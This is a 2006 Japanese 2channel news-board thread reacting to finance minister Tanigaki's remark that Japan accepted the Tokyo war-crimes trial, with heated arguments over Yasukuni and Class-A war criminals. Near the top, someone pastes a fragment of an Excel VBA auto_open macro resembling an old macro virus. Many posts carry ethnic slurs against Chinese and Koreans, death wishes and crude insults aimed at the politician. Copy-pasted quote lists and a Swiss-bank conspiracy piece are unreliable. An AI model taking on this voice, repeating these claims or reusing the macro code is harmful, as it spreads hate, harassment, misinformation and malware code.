【ポスト小泉】 「東京裁判を我々は受け入れた。全否定は間違いだ」 谷垣氏、テレビで発言★２

★東京裁判の全否定は間違い　谷垣氏

・谷垣禎一財務相は２０日のテレビ朝日の番組で、第２次世界大戦後に日本の戦争責任が
　裁かれた極東軍事裁判（東京裁判）について「事後法で裁いたなど問題はあるが、前の
　戦争を終結させる国際政治の過程としてわれわれは受け入れた。全部否定する議論は
　間違いだ」との認識を示した。

　自民党の加藤紘一元幹事長らが、総裁選で優位を固めている安倍晋三官房長官の
　外交姿勢に関し「（著書での）歴史観が東京裁判否定に近い」などと指摘していることを
　念頭に置いた発言とみられる。
　http://flash24.kyodo.co.jp/?MID=RANDOM&PG=STORY&NGID=poli&NWID=2006082001002020

※関連スレ
・【ポスト小泉】 「靖国のＡ級戦犯合祀、ノドに刺さったトゲ」 谷垣氏、中韓関係念頭に"合祀見直し"表明
　http://news19.2ch.net/test/read.cgi/newsplus/1153622399/
・【政治】 「Ａ級戦犯、国内法では犯罪人でない」（麻生＆安倍氏）vs「東京裁判は国内法を超越」（民主・岡田氏）★４
　http://news19.2ch.net/test/read.cgi/newsplus/1140012215/
・【靖国】「"Ａ級戦犯"、存在せず」「公式参拝でも合憲」「高裁の違憲判断、傍論に過ぎぬ」 政府答弁書、決定★３
　http://news19.2ch.net/test/read.cgi/newsplus/1130331224/
・【靖国】"前原氏と真逆" 民主・野田氏「Ａ級戦犯、戦争犯罪人ではない」「南京大虐殺、ウソ」★３
　http://news19.2ch.net/test/read.cgi/newsplus/1130319623/
・【国際】「Ａ級戦犯裁いた"東京裁判"、誤り」 英提督の批判、公文書で明るみに
　http://news19.2ch.net/test/read.cgi/newsplus/1113235870/

※前：http://news19.2ch.net/test/read.cgi/newsplus/1156067493/

汚染を除去しました。

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kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ܷܵܶ

はい、谷垣は落ちました。

どして左翼のみなさんって全否定か全肯定かしか無いの？（´ρ‘）

売国奴って単語が頭に浮かんだ。本当にありがとうございました

受け入れた上で、国会で名誉回復決議をしたんだから、
全否定とかじゃなく、「終わったこと」だろ。

・本日は終戦から６１年目だそうで、朝からテレビは小泉首相の靖国神社参拝に注目していましたね。
そして、小泉首相は靖国神社を参拝しましたね。
今日は絵コンテを清書しながらテレビを聞いていましたが、色々問題があるみたいですね。
僕は意見できるほどこの問題を勉強してないので、コメントはできませんが、
そういった戦争の事からもう記憶が薄れ始めた第三世代としては、単純に、「認識の違いはあれど、イヤと言ってる事はしない方がいいのでは」と思うのですよ。
相手の神経逆なでして今日やる事じゃないでしょうが。
任期が終われば勝手にすればいいじゃん。
個人的な参拝なら。
日本国の責任者でしょーが。
他国から見たら国の代表ですからね、行動には細心の注意を払って欲しいですよ。

韓流韓流〜♪と騒ぐ日本。
日本のドラマや映画も韓国でリメイクされたり、韓国のドラマや映画が輸入され、友好的な印象のある両国の関係。
日本国民は韓国好きだと思うけどなぁ〜。
なんで仲良くしないんだろうか。

外交や両国間の関係など、色々な大切な事を蔑ろにして参拝を強行した小泉首相の意図が僕にはわかりませぬ。
駄々をこねた子供のようです。

大塚隆史（アニメ演出家・プリキュア担当）
http://takaswy.fc2web.com/dairy2006-08.htm
http://otdi4.jbbs.livedoor.jp/453660/bbs_plain

判決を受け入れただけ

違法裁判なのは明らか

全否定なんて、そんな某韓国のようなことはしませんよ。

中韓が常に対象で大将だから‥

落ちていくなぁ、ﾊﾆｰ谷垣ｗ
いきなり良ｽﾚ認定も来てるし、こうなると政治家も哀れなもんだなｗ

>>5
思考停止状態

>>我々は受け入れた

今生きてる人間の大多数はまだ生まれてないんですけど。
豆腐に頭ぶつけて氏ね、谷垣。

だってこいつは元もと加藤の仲間だもん。

なんで、全否定か全肯定以外の選択が無いんだ・・・

谷垣君には愛国心がない。秀才名だけではだめ。戦後教育ってのはどうしょうもない
亡国教育だね。

■中国外務省　　首相の靖国参拝を関係を損なうものと非難「小泉首相は歴史問題で中国の国民感情を絶えず傷つけた」
　　　　http://headlines.yahoo.co.jp/hl?a=20060815-00000760-reu-int
■韓国　　大島駐韓大使を呼び直接抗議へ「参拝が日韓関係を悪化させ、北東アジア内の友好関係を破壊したことに厳重抗議する」
　　　　http://news.tbs.co.jp/headline/tbs_headline3357948.html
■北朝鮮　「日本が再び軍国主義の道を歩むなら、自滅を免れないだろう」
　　　　http://headlines.yahoo.co.jp/hl?a=20060816-00000088-mai-int
■ロシア外務省　　「過去の日本の行動によって被害を受けた人々の感情と尊厳を傷つけないように、非常に慎重に対応すべきだ」
　　　　http://www.mainichi-msn.co.jp/kokusai/mideast/news/20060816k0000m030087000c.html
■ロシア/北朝鮮　「光復節」（解放記念日）でプーチン大統領と金正日総書記が祝電交換
　　　　http://news.goo.ne.jp/news/nishinippon/kokusai/20060816/20060816_news_012-nnp.html?C=PT
---------------------------
■インドネシア外相
　　　　「参拝はアジア・太平洋地域全体の平和と安定にかかわる」 「日本政府は慎重に対処してほしい」
■シンガポール外務省
　　　　「参拝は中韓や他のアジア地域を強く刺激する。東アジアの関係強化や協力を築くにあたり、何の役にも立たない」
■ベトナム外務省
　　　　「歴史を正しく認識することが日本と近隣諸国が友好・協力関係を発展させるうえで重要だ」
　以上http://www.nikkei.co.jp/news/kaigai/20060816AT2M1501N15082006.html
---------------------------
■オーストラリア外相
　　　　「小泉首相には、豪州はＡ級戦犯が祭られていることを憂慮しているし、地域の人々の居心地を悪くしていると伝えた」
　　　　http://www.asahi.com/international/update/0816/003.html

↑↑前科者の本性を現してきた日本への評価です↑↑
日本の国際好感度は非常に高いわけですが、それは戦後徹底して平和的に国際社会に経済的・技術的に尽くしてきたから
であって、小泉のバカになってからの日本の犯罪国家への回帰に、まず隣人達から気づき始めているという状況ですね（・Ａ・#）

おれは受け入れてねーぞ
勝手に決めるな
谷垣おまえ一人で受け入れろ

受け入れないことってできたの？

こういう人を煽って
新聞の売り上げが伸びたり
視聴率が上がったりして
マスコミの人はご飯が食べられるんですね
戦争を煽るのが一番儲かるんですね

今の谷垣は１％でも総理になれるチャンスが残ってるなら何でも発言しそう。
しかし政治家にとって最も重要なのは信念だよ。
今後も、日和見主義でころころ態度変えないようにね。
ずっとずっとずっと、その路線で頑張ってね。
国民は生暖かく見守っててあげるから。

民主党池や

靖国を踏み絵にしてる
マスコミ　政治家に
いつか天罰が有りますように。

違法裁判ではあるが、
判決だけで言えば、A級戦犯の判決は妥当

み　　ん　　な　　落　　ち　　着　　け

>>1
> 　自民党の加藤紘一元幹事長らが、総裁選で優位を固めている安倍晋三官房長官の
> 　外交姿勢に関し「（著書での）歴史観が東京裁判否定に近い」などと指摘していることを
> 　念頭に置いた発言とみられる。

谷垣は加藤を否定しているんだよ！

谷垣w
福田の残飯あさろうと必死だなw

器じゃない器じゃww

「正論」に麻生氏いわく「谷垣の考え方は基本的に俺と同じなのに、どうしてああいうことを
言うのかな」と不思議がっていた、と書いてた。

加藤先生、あんたが大将なんだから、行っちゃダメだ！

（笑）

ハニ垣、良スレ認定。

谷垣
　＝外国と戦争し侵略し支配し主権を剥奪し国民をインチキ裁判で殺戮する行為をマンセーする人間
　＝侵略戦争マンセー厨

シナ女にバラされるのが嫌なほどチンポが短いのか？

東京裁判の判決は受け入れる。A級戦犯は平和と人道に対する罪を
犯した人。そして絞首刑などによりそれぞれの責任を果たし、等しく仏となった。
元寇や日清日露戦争を含め全ての歴史の上に今の日本の平和と繁栄が
あることに現代を生きる自分は感謝している。　以上。

日本負けた

戦争に勝った奴が裁く当たり前

東京裁判は受け入れました。
だから戦争責任で死刑を受けた人もいました。

その後サンフランシスコ講和条約により罷免になってます。
罷免になったので靖国に合祀されました。

これが事実で、特に色々はありませんです。

日本は条約に従っただけなのに、蒸し返してるのは朝日新聞と中国と韓国と
そして、政治という権力争いの餌にしてしまうような心ない政治家達だけです。

　ご存じの通り今年になってスイス銀行は「個人名義の預金」を一切扱わなくなってしまった。
　団体名義（創価学会名義）だったら預かってくれるのだが、池田大作は１兆円の資産を「個人資産」としてスイス銀行に預けていたのだ。
　で、スイス銀行が個人預金を扱わなくなったので、仕方なく池田大作名義の個人預金は他所に移すしか方法がない。
　紆余曲折はあったようだが、結論として、ニューヨークに六〇〇〇億円、ブラジルに四〇〇〇億円と振り分けられた。
　ここで問題となるのは、「なぜブラジルなのか？」という点だ。そういえば統一教会もその資産をブラジルに預けている。
　日本の統一教会の大塚（現会長）もブラジルに飛んでいる。それどころか、『生長の家』もまたブラジルに資金を置いているというのだ。
　いったいブラジルに何があると言うのか？
　何も無い。いや、少なくとも世界中の情報機関、マスコミは、ブラジル金融界の異常事態を把握していない。
　スイス銀行が個人預金を拒否した時点から、莫大というか天文学的な額のカネがブラジルに移動している「謎」を、誰も解明しようとしていない。
　じつを言うと、本誌もまた、まったく「？」状態でしかない。ただ一つ、強引な結び付け方ではあるが、『サンパウロ・フォーラム』の存在だけが気にかかる。
http://www.gyouseinews.com/storehouse/aug2001/001.html

受け入れたのは諸判決であって裁判自体は不当ってことは
すでに常識になりつつあるってのに何を言ってるんだか。

コイツはホントバカだな
SF講和条約が、東京裁判判決の受け入れを謳ってるからと言いたいんだろうが、
その講和条約11条に基づいて戦犯の釈放を進めたんだから、
東京裁判を100%肯定したところで、戦犯合祀に何の問題もないんだよ

こんなバカなこと、さすがの中共でも絶対に主張しない
するのは加藤や河野谷垣みたいな国内のバカばかり

>>32
きっと、9cmだなｗ

谷垣さん、何を言ってもいいけど、総裁になるつもりならずっと同じこと
言い続けないとだめですよ。場当たり的な発言ってかなり記憶に残り
ますから。

>>25
旧政権吊るし上げセレモニーマンセーの糞は
文化大革命の糞支那ランドにでもどうぞ

>>34＝侵略者による殺戮をマンセーする侵略戦争マンセー厨＝谷垣

「東京裁判の判決を我々は受け入れた。谷垣氏は間違いだ」

ジャッジメント(裁判自体)とジャッジメンツ(諸判決)の違いだな
こいつは解っててジャッジメントって使ってる。

>>34
ﾁﾅﾁｸの方ですか？

>>1
当たり前のことを言っているのにニュースになる。
本当に時代は変わったね。

南京で死者３０万人っておかしくない？と言ったら
じゃあ１人も殺してないって言うのか！と返ってくるみたいな。

安倍がなると カルトばかりになる

日本の主張が国際的に認められる土壌ができていたら良いが
今のままでは国内だけの議論で終わるな

それで、東京裁判とやらの判決には、
戦犯を靖国に合祀しちゃいかんと書いてあるのか。

　　谷　垣　に　一　体　何　が　あ　っ　た　の　か　！　？

国分「谷垣があんなことになってどう思った？」

>>37
君の常識には日大の佐藤しか存在しないのか

えーと、前スレの見解を勝手にまとめると、
一民間の宗教法人が、国民の判断がされていない戦犯を合祀しちゃった。

ということでいいですか？2件ほど意見はありましたが他には？

A級戦犯とヒトラーを同一視している人が多い。
だから、死刑で殺された後も、参拝してはいけないと言っているのだな。

靖国はどうでもいい
どーせ騒ぎが治まったら国民もすぐ忘れる
日本人のほとんどは靖国に行かない

>>48
これｔが↓国際的な土壌　おまえは講和条約無効論者？

>>38
その講和条約11条に基づいて戦犯の釈放を進めたんだから、
東京裁判を100%肯定したところで、戦犯合祀に何の問題もないんだよ

アホか？谷垣よ。
東京裁判の全否定を誰がしてるんだ？

あれを受け入れ、そしてサンフランシスコ条約を結んだ。
条約を結んだ時点で戦後処理はすべて終わった。


問題なのは、その後も絡んでくるバカな国家がいることだろうがｗ

加藤宅の放火犯も在日右翼、マスゴミも在日の巣窟。

中華饅頭喰わされた奴こそ、全否定の対象だよな。

>>52
ドバカ
国民が公務死認定した昭和殉難者を合祀したということ

「全肯定は間違いだ」の間違いではｗ

　東京裁判が不当と言う「常識」は産経と２ちゃんねるでしか通用しないので
よろしく。

　第一、小泉首相も基本的には認めてるでしょ。だから「過去の侵略戦争を
反省し」と言う言葉になってる。
　戦後の自由民主党の基本政策は、東京裁判の事実を全て受け入れる、と言う
のが前提なので。それは小泉首相も変わりが無い。

　安部氏がそれを覆すとなれば、重大な政策転換となる。
　また、安部氏が首相就任後に東京裁判を否定したら、それこそアメリカからも
何を言われるかわかんないと思うけどなあ。そういうリスクを犯す度胸が、果た
して安部氏にあるのかな。


　あと、なんか、ハリウッドで作ってる南京大虐殺の映画が来年にも公開とか
言う話だし。映画公開時に産経がどういう反応を示すか、今から楽しみですなあ。

　ともかく、産経は南京大虐殺を葬り去るためにあらゆる捏造を繰り返してる
からなあ。「ホロコーストは幻」論と同じ位の無茶さ加減がある。

　まあ、南京大虐殺の真偽の論争は、その時にでも取っときますよ。お楽しみ
は来年冬、と言う事で。

>>56
> 東京裁判の全否定を誰がしてるんだ？
>>1参照。安倍ということになってるぞ。

現在日本の独立の基礎になる条約否定汁ような発言は、
閣僚として控えてもらうのに越したことはない。

まー、ヒトラーはA級戦犯じゃない。
ピストルで自殺したからね。
開戦から終戦まで指導者として指揮を執った人物と、
ころころ代わった日本の首相を同列に扱うのはいかがなものか。
日本はホロコーストはやってないし。

>>52
勝手に合祀したのは確かにそうだ。
それじゃ勝手に合祀するのはいいのかときかれると……










もちろん勝手に合祀してかまわない。

(　 ＾ω＾)きみはDQNだお

>>61
>　東京裁判が不当と言う「常識」は産経と２ちゃんねるでしか通用しないので
>よろしく。
>　第一、小泉首相も基本的には認めてるでしょ。だから「過去の侵略戦争を
>反省し」と言う言葉になってる。

こらこら
アメ公による対日侵略戦争を「反省」する立場に立てば
東京裁判なんぞ無効に決まっているだろ？

おまえは
外国への侵略戦争により国民から主権を剥奪して
国民をインチキ裁判で殺戮する行為をマンセーする
侵略戦争マンセー派か？

>>62
意味不明
谷垣がやっているアメ公による侵略戦争の美化マンセーと
独立とどう関係するわけ？

谷垣みたいにアメ公による侵略戦争を美化マンセーをすれば
独立が損なわれるのなら、話はわかるけど

>>66
だからこそイラク戦争後の裁判があのような形になったんだよな。
戦争のきっかけについては目をつぶるとしてやったとしても、それでもなお裁判官が国連側の人間だったりややぬけているところはあるが……

今から戦争裁判やり直すかね。東条はむかつくのでやっぱり死刑とか。
多分「今の人らが当時の人の判断についてとかく評価するのは間違ってる」とかいう人であふれるだろうけど。

石原みたいに小説のネタ探しのように戦争中の人物の判断調べまわってるのなら「心の中で分祀」とか言えるんだろうね。
まあ、ホトケになったのに罪はないってことで小泉とかは参拝してるけど、靖国の教え的にはアレでいいのかね？
行く理由も行かない理由もさまざまある方がいいと思うから、谷垣や麻生についてもまあいいんじゃないか程度に思うけど。

>>61
こなくていいから。

ウィルスコード貼るんじゃねえよピックルヴォケ〜

感情論だけで行動してたら、戦争につぐ戦争になってしまう。
だから条約の締結という手法で国家間の争いごとをリセットするように決めた。
人類の絶滅をふせぐ文化的な近代国家の選択だ。

それを完全に無視して、感情論で訴えてくる中国、韓国を真正面から真摯に受け止めるのはナンセンス。
フカワのギャグなみのナンセンスなことなんだ。

中国、韓国がサンフランシスコ講和条約に対して不義を訴えて、ジュネーブ条約による加盟国による決議を破棄して（ジュネーブ条約を破棄）
国際裁判として、日本の靖国へのＡ級戦犯合祀に対する不満を訴えれば良い。

いま、その資格があるのは北朝鮮だけだな。

>>61
東京裁判が不当だった、あるいは、完璧でなかったというのは”常識”

＞　岡田　もちろん東京裁判が万全だとは思っていません。

特別対談　岡田克也民主党代表　 「　『小泉さんは魔術師ですから』 『では岡田さんは何ですか？』　」
ttp://blog.yoshiko-sakurai.jp/archives/2005/08/post_368.html

＞これらは東京裁判の弱点といわなくてはなりません。

東京裁判は「勝者の裁き」という意見をどう考える？
赤旗
ttp://www.jcp.or.jp/akahata/aik4/2005-07-09/2005070912faq_01_0.html

谷垣はビジュアル的に銀行員

全否定はだめだけど中ぐらいの否定はいいのか。

安心した

絶対首相にしちゃいけないな、このガイキチ

ネトウヨの行動原理は全て反中、中国への敵愾心が行動の源

論理の飛躍と理性の欠如に溢れた彼らの言動は
反中原理主義と呼んでいい

あんたが大将だから・・・・・・、プッ

小泉首相の靖国参拝にアジア各国、当然と理解示す。

★シンガポール　リー元首相：
　「靖国問題も中国が心理的なプレッシャーをかけているだけ」
★台湾、李登輝前総統：
　「国のために命を亡くした英霊をお参りするのは当たり前の事。
　 外国が口を差し挟むべきことではない」
★台湾、陳総統：
　「中国の反発に負けずに靖国参拝をする首相を評価」
★カンボジア：フン・セン首相：
　「戦没者の霊を弔うことは当然のこと」小泉首相の靖国参拝に理解
★インドネシア：ユドヨノ大統領：
　「国のために戦った兵士のためにお参り、当然」靖国参拝に理解
★ベトナム：
　「我々は中国や韓国のような卑怯な外交手法をとるつもりはない」
★オーストラリア・マレーシア・タイ・フィリピン：
　「私たちはまったく問題ではない。問題にするのは中国だけ」
★パラオ、レメンゲサウ大統領：
　靖国参拝に「すべての人のために祈るのは正しいこと」と支持を表明
★ソロモン諸島のケマケザ首相：
　「日本とソロモン諸島の共通の文化は先祖に感謝すること。
　　英霊が祭られている場所を拝見したい」

当時、受け入れざるを得なかったんだタコ。
現在なら無効裁判だ。
受け入れてしまったものは仕方ないがな。
それが戦争に負けるってことだ。
だからツベコベ言わずに、二度と日本が戦争に負けないようにしろ。
方法は、いろいろある。

谷垣って次の内閣では閣僚になれないんだろうか。
それともこれだけ文句言っても、入れてもらえる？

>>77
あらあら
さっそく例によって罵倒モードへの退化ですか

なんつーか、このパターン、マンネリ杉

>>77
反日政策が無ければ、ネトウヨもいなかっただろうな。

安倍と麻生で10年くらいは政権を継続してもらいたいものだ。

タニガキってやっぱり弱みを握られてるんだ。ｗｗ
日本を売るなら議員を辞めれ！

436 ：名無しさん＠６周年：2006/08/20(日) 18:49:50 ID:0QYOrvz10
何いってんのお前ら。
中国はいまに日本を支配する。
日本は中国に永続的に賠償しつづける。これ真理よ。
中国に永遠に朝貢するのは日本の義務ある。

天安門事件なんてだれも知らないからおこってない。
文化大革命？　何それ。　日本人が８０００万人殺したんだろ。
チベット？　そんなのない。あれは中国の一部。人民はみんな毛沢東に感謝してる。
日本は中国が教える歴史だけを勉強しろ。
ともかく、日本人は中国にとどめをさされたんだから中国のいうことを聞け。
李登輝いれたら紀子の出産とあわせてミサイル打ち込むぞ。
日本は中国のかわりに国連分担金全額払え
島はすべて中国のものだ。
沖縄も琉球でもともと中国だし住民もそれ望んでる。米軍基地は２００９年までになくす。
天皇のサイパン慰霊は絶対許さない。中国人民を殺した日本兵を慰霊したことで
天皇はわれわれを怒らせた。２度と慰霊するのはゆるさん。
退位しろ。
谷垣、覚えているだろうな。お前埋め込んだカプセルはいつでもこちらが破壊できるんだぞ。
さっさと投票結果をいじって総理になれ。

靖国なんて軍施設でしかないのに、宗教法人として残したのばそもそのの誤りだな。

明らかに違法な裁判ごっこであったことは事実な訳で、
その事実を受け入れずにごり押ししようとする方が
結局無理は出てくると思うぞ。＞ダニガキ

一連の軍事裁判はポツダム宣言という降伏条件を受け入れたことを
唯一の根拠としている。それはウエップ裁判長「役」も認めている。
それゆえ当時としては受け入れざるを得なかった。

ＮＨＫのラジオ深夜便で、ワールドリポートというコーナーがある。
これは、現地駐在の日本人に、その国の国情やトピックを語ってもらうコーナーである。

インドネシアが取り上げられた日の事。旧日本軍兵士がインドネシア独立の為、現地インドネシア独立軍と一緒に戦い、戦死した兵士が英雄として
国立墓地に埋葬されている話が出たが、アナウンサーが一瞬無言になり早々に話を打ち切った。

旧日本軍は、アジアでひどい事をした極悪人だという、ステレオタイプの情報が流布していないと、どうにも都合が悪い人間が多い様だ。

★シンガポール　リー元首相：「靖国問題も中国が心理的なプレッシャーをかけているだけ」
★台湾、李登輝前総統：「国のために命を亡くした英霊をお参りするのは当たり前の事。外国が口を差し挟むべきことではない」
★台湾、陳総統：「中国の反発に負けずに靖国参拝をする首相を評価」
★カンボジア：フン・セン首相：「戦没者の霊を弔うことは当然のこと」小泉首相の靖国参拝に理解
★インドネシア：ユドヨノ大統領：「国のために戦った兵士のためにお参り、当然」靖国参拝に理解
★ベトナム：「我々は中国や韓国のような卑怯な外交手法をとるつもりはない」
★オーストラリア・マレーシア・タイ・フィリピン：「私たちはまったく問題ではない。問題にするのは中国だけ」
★パラオ、レメンゲサウ大統領：靖国参拝に「すべての人のために祈るのは正しいこと」と支持を表明
★ソロモン諸島のケマケザ首相：「日本とソロモン諸島の共通の文化は先祖に感謝すること。英霊が祭られている場所を拝見したい」
★アーミテージ氏：「中国は靖国問題に言及するべきではない。日本は戦後60年間、模範的な市民である」
★シーファー駐日大使：「アメリカ政府は、日本の靖国参拝に干渉することはない」
★ラムズフェルド長官：「中国は日本の靖国参拝への干渉を自制すべき」
★ウォーツェル米中経済安保調査委員長：「『歴史認識非難』は単なる対日攻撃手段、靖国参拝、中止すべきでない」
★トーマス・スニッチ氏：「中国には日本の戦没者追悼に対し一定の方法を命令する権利はない 」
★アーサー・ウォルドロン氏：「事の核心は日本に対し覇権を確立したいという中国の野望」
★靖国問題、ワシントンは中国の態度に批判的〜日経ＢＰ・ 古森義久氏コラム

媚中だと思ったけどこの発言で売国奴と発覚しました
加藤の乱の時は男気のあるいい奴だと思ったけど残念ながらこの発言で撤回させてもらいます

谷垣、氏ね！

>>1
A級戦犯だけが全て悪いなんて統治する側の都合のいいフィクション
フィクションとして受け入れたのは事実だけど、それを本当に事実だったと勘違いするのは
あまりにも単純すぎる

A級戦犯が悪い部分も多少はあったし、ベストの選択したとは思わないけど
すでに日露戦争終結の時点でのミスも対米、対英で尾を引いてる部分あるし
日英同盟破棄からすでに開戦は決定事項だったのかもしれん

アメリカ側のハルノート、ABCD包囲網もあまりにも致命的な内容だった
あれが出たらもう開戦避ける選択肢はなかったよ

>>62
所詮、加藤君のいちゃもんだな。
まあ誤解を受けるような発言は今後謹んでもらいたい。

>>34
＞戦争に勝った奴が裁く当たり前
まあ、その通りだが…
戦争理由の根底には、権益や軍事的政治的プレゼンスの拡張求めた覇権主義がある。
アメリカのように、その下心を隠して「正義」を振りかざして敵国裁くのは偽善だろう。
偽善に満ちた者に正しい歴史はなど語れないだろう。
戦勝国が敗戦国から賠償金や領土を獲得することと、「正義」根拠に裁くことは違う。
ベトナム戦争・湾岸戦争・イラク戦争でも、アメリカは「正義」を騙っていた。
しかし、本当にアメリカが「正義」だったとキミは思えるかい？
アメリカを追い出したベトナムはいつまでも偉そうにしてないだろう？
ベトナムにとって「共産主義」なんか方便に過ぎなかったんだろう。
その点アメリカは、かつての中ソ東欧のような真性共産主義国家と同様、
自由主義・民主主義というイデオロギーの鎧を纏い続けている。
これはかなりヤバイ。

>>1
当然に全部否定だな。
受け入れたのは判決だけ。
占領解除のためにはやむを得なかった。
不法・違法な東京裁判は全否定！

>>63
そこで昭和天皇ですよ。

パール判事、反論をどうぞ
　　　　　↓

っていうか政治家がどういう発言しても自由だとおもうけど、
ハニートラップにかかった政治家はダメでしょ・・

やっぱネット時代において、支持など得られない。
道徳的にも、愛国的にも・・　社会正義的にも・・

事後法だから駄目なんて単純なことは言ってないぞ　＞インド人判事

日本人で、全否定の奴も全肯定の奴も馬鹿だろ。
どのあたりが納得できず、どのあたりは納得するのか、列挙せよ。
おれは、全否定だ。

>>97
昭和天皇はドキュン

こう言うと
反発する人もいるようだが
いざという時にはここまで言うことも必要だから今から言って置くw

茨城ゴールデンボールズの掲示板
http://ibaraki-goldengolds.com/epad/index.shtml?

>>93
フィクションだからこそ、対外的にはそれを通さなきゃならんだろ。

>>100
俺は単純だから「事後法は全否定」で行くよ

谷垣さんてけっこうヤバい人だったんだね
表舞台に出ないとわからんな
とりあえず消えてほしい

最近、ハゲ谷が必死すぎるw 痛いww

はいはいハニートラップハニートラップ

別に東京裁判を受け入れてもいいんだよ。

問題はそれを政局にしてしまうことが問題だとおも。
これが第２の靖国問題みたいになるよ。

アサピーそろそろ火をつけるよ。
「日本の政治家が個人において東京裁判を認めるかどうか！
　これを中国・米国は見守っている」

みたいな外交問題にしだすよ！
朝日新聞が。

もまいらこれを外交問題にだけはぜったいにさせるな！

戦犯は受け入れて死んだじゃねーか
それと祭祀はまったく別の話
谷垣って知能指数低そうだな

そも敗戦した国を戦勝国が裁くってスタンスが詐欺だってわからんかな

逮捕された殺人犯を遺族が検察役になって裁くのと変わらん
一方的なリンチじゃねーか
何か言い訳して更に追い詰められるより、とっとと受け入れて
国を再興すべきだと判断したと考えるのが妥当じゃね？

本気で聞きたいわこのおっさんに
どこの国の政治屋だよアンタ？

>>105
俺も単純に「刑に服し終えた者を政府が差別するのは違法」で行くことにする。

＞東京裁判


アメリカも否定している
ウェッブやマッカーサーが否定発言

今でも固執は特アと谷垣みたいな連中だけ

１９５０年１０月、パール博士は二度目の来日をされた。約１ヶ月間の滞在中に次の言葉を残されている。
「この度の極東国際軍事裁判の最大の犠牲は《法の真理》である。われわれはこの《法の真理》を奪い返さ
ねばならぬ。」 　「たとえばいま朝鮮戦争で細菌戦がやかましい問題となり、中国はこれを提訴している。しかし東京裁判
において法の真理を蹂躙してしまったために《中立裁判》は開けず、国際法違反であるこの細菌戦ひとつ
裁くことさえできないではないか。捕虜送還問題しかり、戦犯釈放問題しかりである。幾十万人の人権と生
命にかかわる重大問題が、国際法の正義と真理にのっとって裁くことができないとはどうしたことか。」

谷垣はそろばんはじいてるだけにしとけや

インドは大東亜戦争を正義の戦争だって認めている

だから昭和天皇崩御の際もインドの政府機関は長期間の喪に服した

日本以上に大東亜戦争肯定

アジアにもこういうちゃんとした国がある

今更ね、戦犯がだれかなんて、寝た子を起こすなんてバｋ

結局それは死人にクチナシの昭和天皇に行きつく。
デタラメ裁判だろうと一度受け入れたんだから、今更ほっくりかえしてどうなる？

現実見て、国益を考えた方が利口ってもんだ。

受け入れたのは国を守るためだよな。
未来永劫謝罪するためじゃない。

もう一度国として未来を生き抜くために受け入れたのだ
なら国の代表がそれらの遺志を汲み取り尊厳を勝ち取るためにも
初心に戻って参拝することは至極当然のことだと思う。

他人の顔色ばかり伺うことしか知らない卑屈な輩は死んで欲しいね。

谷垣　終わったな。
まあ、始まってもいないがな。

>>113
ウェッブって東京裁判の裁判長ね

補足しておきますw

サンフランシスコ講和条約で刑を受け入れたから占領軍が日本の首相経験者などを殺した蛮行について、
日本は謝罪と賠償を求めていない。
だからといって弔い方までそれをもとに内政干渉される筋合いは談じてない。

>>118
バカですか？

受け入れたらこそ、今の靖国の状態ではＡ級を祭っている限り参拝はＮＧなんだけど？

＞　わが国は明後８月１５日に、５６回目の終戦記念日を迎えます。２１世紀の初頭にあって先の大戦を回顧するとき、
＞私は、粛然たる思いがこみ上げるのを抑えることができません。この大戦で、日本は、わが国民を含め世界の多く
＞の人々に対して、大きな惨禍をもたらしました。とりわけ、アジア近隣諸国に対しては、過去の一時期、誤った国策に
＞もとづく植民地支配と侵略を行い、計り知れぬ惨害と苦痛を強いたのです。それはいまだに、この地の多くの人々の
＞間に、癒しがたい傷痕となって残っています。
＞
＞小泉首相の談話より（０１年８月１３日）

「戦争が犯罪であるというなら、いま朝鮮で戦っている将軍をはじめ、トルーマン、スターリン、李承晩、金
日成、毛沢東にいたるまで、戦争犯罪人として裁くべきである。戦争が犯罪でないというなら、なぜ日本とド
イツの指導者のみを裁いたのか。勝ったがゆえに正義で、負けたがゆえに罪悪であるというなら、もはやそ
こには正義も法律も真理もない。力による暴力の優劣だけがすべてを決定する社会に、信頼も平和もあろ
う筈がない。われわれは何よりもまず、この失われた《法の真理》を奪い返さねばならぬ。」

>>122

詳しくｗ

>>122
条約結んだ時点でそんなもんは無い。
いやなら条約を破棄すべき。

まあ、同じような条約は結べないのは確か。

>>122
何でNGなんだよ！
理由を言ってみろ。

>>122
条約のどこに慰霊や追悼の禁止を謳っているのですか？

>>122
参拝するなって裁判で決まったのか？ｗ

>>122
参拝してはいかんと条文には無いが？
つーか、安倍ちゃんの歴史観と政府公式見解は別物だし。

「今後も世界に戦争は絶えることはないであろう。しかして、そのたびに国際法は幣履のごとく破られるで
あろう。だが、爾今、国際軍事裁判は開かれることなく、世界は国際的無法社会に突入する。その責任は
ニュルンベルクと東京で開いた連合国の国際法を無視した復讐裁判の結果であることをわれわれは忘れ
てはならない。」 「日本は独立したといっているが、これは独立でも何でもない。しいて独立という言葉を使いたければ、半独
立といったらいい。いまだにアメリカから与えられた憲法の許で、日米安保条約に依存し、東京裁判史観と
いう歪められた自虐史観や、アメリカナイズされたものの見方や考え方が少しも直っていない。
日本人よ、日本に帰れ！と私は言いたい。」「いまや英・米・仏・独など世界の法学者の間で、東京とニュルンベルクの軍事裁判が、果して正当か否かとい
う激しい論争や反省が展開されている。げんに英国法曹界の長老ロード・ハンキーは＜パール判事の無罪論こ
そ正論である＞として『戦犯裁判の錯誤』と題する著書まで出版している。しかるに直接の被害国であり、げん
に同胞が戦犯として牢獄に苦悶している日本においてこの重大な国際問題のソッポに向いているのはどうした
ことか。なぜ進んでこの論争に加わらないのか。なぜ堂々と国際正義を樹立しようとしないのか・・・」

>>127
Ａ級は戦争責任者ということでしょ？
それを祭っている靖国を参拝するということは、海外的にはヒットラーの墓を参拝するのと同じ意味。

一般にはそういう目で見られているのが現実。

開戦して敗戦した国の戦争指導者が処分されるのは当たり前だと思うが

>>132
違うし、見てないな

>>132
墓に参ってはいけないと、条約に書いてあるのか？
なぜ問いに答えないの？

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と言います。何でもありの店で、この店のホステスを
ホテルに持ち帰りしても、絶対に公安にはつかまらない・・
俺もしょっちゅう、古北湾ホテルに連れて行ってました。

>>122
バカか。
受け入れたのはそれが「手打ち」だったからだろ。
受け入れるという条件を飲まない限り国際社会には復帰できなかった。

今、国後だったか北海道の漁民が抑留されている。
釈放される条件として
漁民は北方領土がソ連領だと認めざる得ない。
まさに「手打ち」だ。
